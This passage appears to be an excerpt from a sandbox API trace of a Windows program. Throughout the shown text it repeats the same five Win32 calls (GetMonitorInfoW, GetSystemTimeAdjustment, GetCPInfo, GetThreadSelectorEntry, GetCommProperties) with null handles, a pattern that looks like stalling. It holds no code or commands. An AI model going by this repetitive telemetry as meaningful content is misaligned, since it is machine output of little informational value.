lpmi=0x18fe38) returned 0 [0112.769] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.769] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.769] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.769] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.769] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.769] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.769] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.769] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.769] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.769] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.769] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.769] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.769] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.769] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.769] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.769] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.769] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.769] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.769] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.769] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.769] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.770] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.770] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.770] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.770] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.770] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.770] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.770] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.770] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.770] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.770] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.770] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.770] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.770] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.770] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.770] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.770] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.770] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.770] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.770] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.770] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.770] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.770] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.770] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.770] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.770] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.770] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.770] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.770] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.771] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.771] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.771] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.771] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.771] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.771] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.771] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.771] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.771] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.771] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.771] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.771] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.771] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.771] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.771] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.771] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.771] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.771] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.771] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.771] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.771] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.771] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.771] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.771] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.771] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.771] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.771] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.771] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.772] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.772] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.772] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.772] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.772] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.772] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.772] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.772] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.772] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.772] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.772] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.772] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.772] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.772] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.772] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.772] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.772] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.772] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.772] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.772] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.772] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.772] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.772] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.772] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.772] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.772] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.773] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.773] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.773] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.773] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.773] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.773] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.773] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.773] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.773] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.773] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.773] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.773] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.773] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.773] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.773] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.773] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.773] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.773] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.773] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.773] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.773] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.773] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.773] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.773] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.773] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.773] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.773] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.773] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.773] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.773] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.774] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.774] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.774] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.774] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.774] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.774] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.774] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.774] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.774] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.774] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.774] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.774] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.774] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.774] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.774] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.774] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.774] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.774] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.774] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.774] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.774] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.774] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.774] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.774] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.774] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.774] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.774] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.774] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.775] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.775] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.775] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.775] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.775] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.775] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.775] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.775] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.775] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.775] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.775] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.775] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.775] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.775] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.775] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.775] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.775] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.775] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.775] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.775] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, 